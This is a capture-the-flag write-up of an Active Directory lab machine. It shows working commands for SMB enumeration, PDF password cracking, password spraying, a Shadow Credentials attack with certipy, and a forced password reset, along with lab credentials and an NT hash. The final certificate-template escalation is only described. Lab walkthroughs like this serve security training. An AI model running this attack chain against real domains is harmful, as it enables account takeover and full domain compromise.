Overview

The machine starts by enumerating an SMB share where a password-protected PDF is found and cracked to reveal a temporary password pattern, this password is sprayed across enumerated domain users to land access as a.harris, BloodHound reveals GenericAll over i.park so we perform a Shadow Credentials attack to get that user's hash, i.park's HelpDesk membership grants ForceChangePassword over svc_ca which we reset and abuse against a vulnerable ADCS template (ESC1) to request a certificate as administrator and get shell as NT AUTHORITY\SYSTEM

Enumeration

we start with nmap scan to find the next

a lot of open ports, AD ports so lets go through the popular ones

  • there is RDP, SMB,DNS, Kerberos, LDAP, LDAPs
  • there is an AD CS in place with the CA WELCOME-CA
  • domain name is Welcome.local and FQDN is DC01.welcome.local
  • 1 hour clock skew

this is assumed breached box with the creds e.hills:Il0vemyj0b2025!

Setup

and we're good to go after this setup

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ echo '10.1.65.138 DC01 DC01.welcome.local welcome.local' | sudo tee -a /etc/hosts
10.1.65.138 DC01 DC01.welcome.local welcome.local
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ nxc smb 10.1.65.138 -u e.hills -p 'Il0vemyj0b2025!' --generate-krb5-file krb5.conf
SMB 10.1.65.138 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.65.138 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.1.65.138 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.1.65.138 445 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025!
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ mv krb5.conf /etc/krb5.conf
mv: inter-device move failed: 'krb5.conf' to '/etc/krb5.conf'; unable to remove target: Permission denied
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ sudo ntpdate welcome.local
2026-08-10 23:28:11.123694 (-0700) -3598.866426 +/- 0.070807 welcome.local 10.1.65.138 s1 no-leap
CLOCK: time stepped by -3598.866426

SMB

we have read over some shares, some of which are the standard stuff so we'll ignore for now but the HR share isn't standard so we need to take a look

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ nxc smb 10.1.65.138 -u e.hills -p 'Il0vemyj0b2025!' --shares
SMB 10.1.65.138 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.65.138 445 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025!
SMB 10.1.65.138 445 DC01 [*] Enumerated shares
SMB 10.1.65.138 445 DC01 Share Permissions Remark
SMB 10.1.65.138 445 DC01 ----- ----------- ------
SMB 10.1.65.138 445 DC01 ADMIN$ Remote Admin
SMB 10.1.65.138 445 DC01 C$ Default share
SMB 10.1.65.138 445 DC01 Human Resources READ
SMB 10.1.65.138 445 DC01 IPC$ READ Remote IPC
SMB 10.1.65.138 445 DC01 NETLOGON READ Logon server share
SMB 10.1.65.138 445 DC01 SYSVOL READ Logon server share

some PDF files so lets see what we can find

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ smbclient //welcome.local/'Human Resources' -U'e.hills'%'Il0vemyj0b2025!'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Sep 13 16:20:17 2025
  ..                                  D        0  Sat Sep 13 13:11:19 2025
  Welcome 2025 Holiday Schedule.pdf A 84715 Sat Sep 13 15:18:12 2025
  Welcome Benefits.pdf A 81466 Sat Sep 13 15:18:12 2025
  Welcome Handbook Excerpts.pdf A 82644 Sat Sep 13 15:18:12 2025
  Welcome Performance Review Guide.pdf A 79823 Sat Sep 13 15:18:12 2025
  Welcome Start Guide.pdf A 89511 Sat Sep 13 15:18:12 2025

                15568127 blocks of size 4096. 11910429 blocks available
smb: \> prompt off
smb: \> mget *
getting file \Welcome 2025 Holiday Schedule.pdf of size 84715 as Welcome 2025 Holiday Schedule.pdf (88.7 KiloBytes/sec) (average 88.7 KiloBytes/sec)
getting file \Welcome Benefits.pdf of size 81466 as Welcome Benefits.pdf (114.5 KiloBytes/sec) (average 99.7 KiloBytes/sec)
getting file \Welcome Handbook Excerpts.pdf of size 82644 as Welcome Handbook Excerpts.pdf (118.7 KiloBytes/sec) (average 105.3 KiloBytes/sec)
getting file \Welcome Performance Review Guide.pdf of size 79823 as Welcome Performance Review Guide.pdf (117.2 KiloBytes/sec) (average 108.0 KiloBytes/sec)
getting file \Welcome Start Guide.pdf of size 89511 as Welcome Start Guide.pdf (129.3 KiloBytes/sec) (average 111.9 KiloBytes/sec)
smb: \> exit

Access as a.harris

all the files were just standard onboarding files except this start guide was password protected so lets try the given password and if it doesn't work we'll try to crack it ss_20260810_233247.png

Cracking PDF password

the password we're given didn't work for it so cracking it returned the password humanresources which is typical for HR people

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ pdf2john Welcome\ Start\ Guide.pdf | tee pdf.hash
Welcome Start Guide.pdf:$pdf$4*4*128*-1060*1*16*fc591b1749ad08498b60ce3a81947b8c*32*9abeeb4695a10ac7b5e6558d39ee8c8300000000000000000000000000000000*32*e3e7eecc056a1ca2a2b0298352b0970f96ff1503022a1146e322e2f215dfd6be
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ john pdf.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 4 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
humanresources (Welcome Start Guide.pdf)
1g 0:00:00:11 DONE (2026-08-10 23:34) 0.08510g/s 79016p/s 79016c/s 79016C/s humphrey06..human29
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
Session completed.

we're given that new accounts are given temporary password ss_20260810_233644.png

and we've got some users here so lets get a list using --users-export to password spray that password

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ nxc ldap 10.1.65.138 -u e.hills -p 'Il0vemyj0b2025!' --users
LDAP 10.1.65.138 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:WELCOME.local) (signing:None) (channel binding:Never)
LDAP 10.1.65.138 389 DC01 [+] WELCOME.local\e.hills:Il0vemyj0b2025!
LDAP 10.1.65.138 389 DC01 [*] Enumerated 11 domain users: WELCOME.local
LDAP 10.1.65.138 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.1.65.138 389 DC01 Administrator 2025-09-13 09:24:04 0 Built-in account for administering the computer/domain
LDAP 10.1.65.138 389 DC01 Guest < never> 1 Built-in account for guest access to the computer/domain
LDAP 10.1.65.138 389 DC01 krbtgt 2025-09-13 09:40:39 1 Key Distribution Center Service Account
LDAP 10.1.65.138 389 DC01 e.hills 2025-09-13 13:41:15 1
LDAP 10.1.65.138 389 DC01 j.crickets 2025-09-13 13:43:53 1
LDAP 10.1.65.138 389 DC01 e.blanch 2025-09-13 13:49:13 1
LDAP 10.1.65.138 389 DC01 i.park 2025-09-13 21:23:03 1 IT Intern
LDAP 10.1.65.138 389 DC01 j.johnson 2025-09-13 13:58:15 1
LDAP 10.1.65.138 389 DC01 a.harris 2025-09-13 13:59:13 0
LDAP 10.1.65.138 389 DC01 svc_ca 2025-09-13 17:19:35 0
LDAP 10.1.65.138 389 DC01 svc_web 2025-09-13 14:40:40 1 Web Server in Progress

and we got access to the a.harris account

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ nxc smb welcome.local -u users.txt -p 'Welcome2025!@' --continue-on-success
SMB 10.1.65.138 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\Administrator:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\Guest:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\krbtgt:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\e.hills:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\j.crickets:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\e.blanch:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\i.park:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\j.johnson:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [+] WELCOME.local\a.harris:Welcome2025!@
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\svc_ca:Welcome2025!@ STATUS_LOGON_FAILURE
SMB 10.1.65.138 445 DC01 [-] WELCOME.local\svc_web:Welcome2025!@ STATUS_LOGON_FAILURE

Bloodhound

so lets grab data for bloodhound

and as you can see we are part of the HR group who has generic all over the user I.Park which has some interesting DACL himself but lets focus on the a.harris for now to take over that I.Park ss_20260810_235408.png

Access as I.Park

3 things we can do when we have Generic All

  1. targeted kerberoasting but only useful if the password is weak
  2. change password which should be the last resort always
  3. if there is ADCS in place which is in this case we try Shadow Credentials attack

trying shadow attack we get the NT hash for the user

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ certipy shadow auto -dc-ip 10.1.65.138 -dc-host dc01.welcome.local -u a.harris -p 'Welcome2025!@' -account I.PARK
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'i.park'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '839557b1ebaf45dbace5da7ed873b89d'
[*] Adding Key Credential with device ID '839557b1ebaf45dbace5da7ed873b89d' to the Key Credentials for 'i.park'
[*] Successfully added Key Credential with device ID '839557b1ebaf45dbace5da7ed873b89d' to the Key Credentials for 'i.park'
[*] Authenticating as 'i.park' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'i.park@welcome.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'i.park.ccache'
[*] Wrote credential cache to 'i.park.ccache'
[*] Trying to retrieve NT hash for 'i.park'
[*] Restoring the old Key Credentials for 'i.park'
[*] Successfully restored the old Key Credentials for 'i.park'
[*] NT hash for 'i.park': b689c61b88b0f63cfc2033e5dba52c75

validating the user

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ nxc smb welcome.local -u i.park -H 'b689c61b88b0f63cfc2033e5dba52c75'
SMB 10.1.65.138 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:WELCOME.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.65.138 445 DC01 [+] WELCOME.local\i.park:b689c61b88b0f63cfc2033e5dba52c75

Access as SVC_CA

the user I.park is part of the HelpDesk group which has ForceChangePassword over 2 SVC accounts we can abuse both, but i believe in this case the important one is the SVC_CA just because there is CA in place and we can use to abuse so lets start with that and get back to SVC_WEB if it came back empty ss_20260811_000554.png

so we changed the password

bash
┌─[vpn.coursestack.com 10.200.80.115]─[jimmex@attacker]─[~/hacksmarter/welcome]
└──╼ [★]$ bloodyAD --host 10.1.65.138 -d welcome.local -u i.park -p :b689c61b88b0f63cfc2033e5dba52c75 set password svc_ca 'Password123!'
[+] Password changed successfully!

ESC1 to Administrator

and as you can see we got the results telling that the template WELCOME-TEMPLATE is vulnerable to ESC1 so lets abuse that to get administrator

and we got the administrator hash so lets login

and we got the administrator as you can see

Path

Pasted image 20260821171652.png

Resources